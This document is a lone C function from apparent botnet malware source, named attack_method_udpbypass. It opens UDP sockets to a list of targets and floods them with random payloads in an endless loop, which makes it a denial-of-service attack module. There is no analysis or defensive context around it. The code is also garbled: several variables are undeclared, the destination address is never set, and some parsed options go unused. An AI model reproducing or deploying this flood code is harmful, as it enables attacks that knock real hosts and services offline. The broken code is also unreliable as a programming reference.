void attack_method_udpbypass(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) { int i; char **pkts = calloc(targs_len, sizeof (char *)); int *fds = calloc(targs_len, sizeof (int)); port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); uint16_t data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 4096); BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); struct sockaddr_in bind_addr = {0}; if (sport == 0xffff) { sport = rand_next(); } else { sport = htons(sport); } for (i = 0; i < targs_len; i++) { struct sockaddr_in bind_addr; struct sockaddr_in addr; fds[i] = socket(AF_INET, SOCK_DGRAM, 0); if (fds[i] == -1) { exit(1); } bind_addr.sin_family = AF_INET; bind_addr.sin_port = rand_new(); bind_addr.sin_addr.s_addr = 0; bind(fds[i], (struct sockaddr *)&bind_addr, sizeof(bind_addr)); addr.sin_family = AF_INET; addr.sin_port = htons(port); targs[i].sock_addr.sin_addr.s_addr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); connect(fds[i], (struct sockaddr *)&addr, sizeof(addr)); } while (TRUE) { for (i = 0; i < targs_len; i++) { size = 1024 + rand() % (1460 - 1024); data = (char *)malloc(size); for (a = 0; a < size; a++) { data[a] = (char)(rand() & 0xFFFF); } send(fds[i], data, size, MSG_NOSIGNAL); } } }